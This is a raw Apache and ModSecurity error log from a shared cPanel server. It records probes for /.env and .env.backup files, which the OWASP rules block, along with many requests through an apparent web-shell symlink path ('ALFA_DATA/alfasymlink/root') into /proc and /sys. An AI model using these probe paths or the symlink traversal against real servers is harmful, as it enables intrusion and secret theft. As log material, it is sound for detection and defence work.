[Tue Oct 27 03:18:38.447820 2026] [security2:error] [pid 3184471:tid 3184471] [client 18.204.89.56:63021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan"] [unique_id "auBQTtOTO42xOmZCRV019AAAAAE"]
[Tue Oct 27 03:18:42.389717 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 50.16.248.61:22278] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:18:46.412382 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 54.225.148.123:10680] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:18:49.149408 2026] [security2:error] [pid 3184575:tid 3184575] [client 185.191.171.16:50746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/htmly/php53/edit.php"] [unique_id "auBQWXCsn1NVv0VfikkF0AAAAAQ"]
[Tue Oct 27 03:18:49.149440 2026] [security2:error] [pid 3184575:tid 3184575] [client 185.191.171.16:50746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/htmly/php53/edit.php"] [unique_id "auBQWXCsn1NVv0VfikkF0AAAAAQ"]
[Tue Oct 27 03:19:03.859761 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.205.213.231:54516] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:19:06.441938 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 44.217.255.167:16275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:19:10.892271 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 34.203.111.15:22656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:19:14.516792 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 98.82.40.168:1698] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:19:14.575718 2026] [security2:error] [pid 3184575:tid 3184575] [client 91.92.240.86:59108] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcnCsn1NVv0VfikkF0QAAAAQ"]
[Tue Oct 27 03:19:14.575935 2026] [security2:error] [pid 3184575:tid 3184575] [client 91.92.240.86:59108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcnCsn1NVv0VfikkF0QAAAAQ"]
[Tue Oct 27 03:19:14.576259 2026] [security2:error] [pid 3184575:tid 3184575] [client 91.92.240.86:59108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcnCsn1NVv0VfikkF0QAAAAQ"]
[Tue Oct 27 03:19:14.658622 2026] [security2:error] [pid 3174426:tid 3174426] [client 91.92.240.86:59122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcvBpQA4DT21g-rgSoAAAAAY"]
[Tue Oct 27 03:19:14.658835 2026] [security2:error] [pid 3174426:tid 3174426] [client 91.92.240.86:59122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcvBpQA4DT21g-rgSoAAAAAY"]
[Tue Oct 27 03:19:14.659144 2026] [security2:error] [pid 3174426:tid 3174426] [client 91.92.240.86:59122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcvBpQA4DT21g-rgSoAAAAAY"]
[Tue Oct 27 03:19:14.703236 2026] [security2:error] [pid 3175289:tid 3175289] [client 91.92.240.86:59132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcnAp5o-kytosSOFIYQAAABU"]
[Tue Oct 27 03:19:14.703460 2026] [security2:error] [pid 3175289:tid 3175289] [client 91.92.240.86:59132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcnAp5o-kytosSOFIYQAAABU"]
[Tue Oct 27 03:19:14.703907 2026] [security2:error] [pid 3175289:tid 3175289] [client 91.92.240.86:59132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcnAp5o-kytosSOFIYQAAABU"]
[Tue Oct 27 03:19:14.776415 2026] [security2:error] [pid 3157820:tid 3157820] [client 91.92.240.86:59128] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcnEUzec1h8JdAIG7kwAAAA4"]
[Tue Oct 27 03:19:14.776626 2026] [security2:error] [pid 3157820:tid 3157820] [client 91.92.240.86:59128] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcnEUzec1h8JdAIG7kwAAAA4"]
[Tue Oct 27 03:19:14.777041 2026] [security2:error] [pid 3157820:tid 3157820] [client 91.92.240.86:59128] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcnEUzec1h8JdAIG7kwAAAA4"]
[Tue Oct 27 03:19:14.839540 2026] [security2:error] [pid 3169915:tid 3169915] [client 91.92.240.86:59140] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcmMfptYfS3IdlHNXpAAAAAc"]
[Tue Oct 27 03:19:14.839739 2026] [security2:error] [pid 3169915:tid 3169915] [client 91.92.240.86:59140] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcmMfptYfS3IdlHNXpAAAAAc"]
[Tue Oct 27 03:19:14.840146 2026] [security2:error] [pid 3169915:tid 3169915] [client 91.92.240.86:59140] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBQcmMfptYfS3IdlHNXpAAAAAc"]
[Tue Oct 27 03:19:22.534228 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 52.2.4.213:32081] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:19:26.485565 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 100.24.149.244:34159] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:19:42.678882 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 18.214.238.178:10051] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:19:46.521295 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.2.58.41:24828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:19:50.610494 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.231.193.38:15848] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:19:58.731023 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 52.71.203.206:18454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/input0/event0/subsystem/input1/device/firmware_node/physical_node1/driver/serio0/drvctl
[Tue Oct 27 03:20:23.364092 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 44.218.6.93:5954] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:20:26.679469 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.213.213.161:3021] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:20:34.636207 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.89.90.224:34700] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:20:42.843394 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 50.16.72.185:11013] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:20:46.732685 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 18.205.91.101:45086] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:20:51.104355 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.203.237.170:50262] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:21:02.723205 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 23.21.228.180:65230] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:21:14.797657 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.3.156.186:59009] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:21:18.761235 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.215.59.93:47786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:21:54.918004 2026] [security2:error] [pid 3174286:tid 3174286] [client 52.4.76.156:32513] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:05/wakeup/"] [unique_id "auBREtPQCTMEiOuNt3_qEwAAAAI"]
[Tue Oct 27 03:21:54.918058 2026] [security2:error] [pid 3174286:tid 3174286] [client 52.4.76.156:32513] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:05/wakeup/"] [unique_id "auBREtPQCTMEiOuNt3_qEwAAAAI"]
[Tue Oct 27 03:22:06.840262 2026] [core:error] [pid 3175289:tid 3175289] (13)Permission denied: [client 54.156.55.147:5588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/resource4_wc
[Tue Oct 27 03:22:12.656656 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 52.2.83.227:29080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/resource4
[Tue Oct 27 03:22:19.076287 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 98.84.200.43:24628] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:22:22.972182 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 98.82.59.253:27806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:22:23.623501 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 85.208.96.211:20392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/remote_node_defrag_ratio
[Tue Oct 27 03:22:25.642545 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 185.191.171.2:45848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/destroy_by_rcu
[Tue Oct 27 03:22:26.917551 2026] [ssl:error] [pid 3157820:tid 3157820] (5)Input/output error: [client 54.91.122.193:24956] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:22:31.064491 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 54.84.93.8:15335] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory4/node0/cpu0/crash_notes_size
[Tue Oct 27 03:22:38.986072 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 18.214.138.148:36713] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:22:59.218683 2026] [ssl:error] [pid 3184471:tid 3184471] (5)Input/output error: [client 184.72.84.154:35441] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:23:04.502027 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 185.191.171.6:40512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/objects_partial
[Tue Oct 27 03:23:11.222358 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.195.248.30:6674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input4/mouse0/subsystem/input3/mouse1/subsystem/input0/"] [unique_id "auBRX0QFomyjz0g-y4eNXgAAAAo"]
[Tue Oct 27 03:23:11.222392 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.195.248.30:6674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input4/mouse0/subsystem/input3/mouse1/subsystem/input0/"] [unique_id "auBRX0QFomyjz0g-y4eNXgAAAAo"]
[Tue Oct 27 03:23:19.096565 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 23.21.179.120:49071] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:23:24.142077 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 23.23.213.182:57103] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:23:35.115459 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.212.205.90:17098] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:23:43.162275 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 44.193.102.198:65292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/module/sections/__mcount_loc
[Tue Oct 27 03:23:47.287466 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 34.230.124.21:34288] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:23:59.182854 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 3.223.134.5:39969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/remove_id
[Tue Oct 27 03:24:03.219787 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 98.83.177.42:4151] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:24:06.234515 2026] [security2:error] [pid 3184472:tid 3184472] [client 35.240.58.49:55218] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "cpanel.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpanel/.env.backup"] [unique_id "auBRlioaxgN9H0AE4f1ukwAAAAM"]
[Tue Oct 27 03:24:06.234558 2026] [security2:error] [pid 3184472:tid 3184472] [client 35.240.58.49:55218] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "cpanel.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpanel/.env.backup"] [unique_id "auBRlioaxgN9H0AE4f1ukwAAAAM"]
[Tue Oct 27 03:24:15.368125 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 44.205.180.155:59237] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:24:31.376715 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 54.197.82.195:38458] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:24:36.101406 2026] [authz_core:error] [pid 3184471:tid 3184471] [client 206.135.24.10:58926] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 03:24:36.383405 2026] [authz_core:error] [pid 3184471:tid 3184471] [client 206.135.24.10:58926] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 03:24:36.493370 2026] [authz_core:error] [pid 3184471:tid 3184471] [client 206.135.24.10:58926] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 03:24:36.599383 2026] [authz_core:error] [pid 3184471:tid 3184471] [client 206.135.24.10:58926] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 03:24:36.707566 2026] [authz_core:error] [pid 3184471:tid 3184471] [client 206.135.24.10:58926] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 03:24:36.814106 2026] [authz_core:error] [pid 3184471:tid 3184471] [client 206.135.24.10:58926] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 03:24:39.642373 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 107.23.62.75:12427] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:24:43.446436 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.166.104.83:11147] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:24:51.599270 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 3.208.156.9:38820] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:24:55.444287 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 18.215.112.101:22890] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:25:07.522225 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 44.195.145.102:64023] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:25:15.713071 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 34.205.163.103:20828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:25:19.491335 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.227.234.246:10780] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:25:27.655170 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.221.244.28:65505] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:25:43.510677 2026] [core:error] [pid 3194254:tid 3194254] (13)Permission denied: [client 3.235.215.92:14733] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:1a/eject
[Tue Oct 27 03:25:47.519265 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 54.159.98.248:17039] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:25:59.664211 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 23.21.148.226:16087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:26:06.172342 2026] [security2:error] [pid 3194328:tid 3194328] [client 130.12.180.167:41690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBSDssFEw8TBOSK6W-mMwAAAAk"]
[Tue Oct 27 03:26:06.172625 2026] [security2:error] [pid 3194328:tid 3194328] [client 130.12.180.167:41690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBSDssFEw8TBOSK6W-mMwAAAAk"]
[Tue Oct 27 03:26:06.172994 2026] [security2:error] [pid 3194328:tid 3194328] [client 130.12.180.167:41690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBSDssFEw8TBOSK6W-mMwAAAAk"]
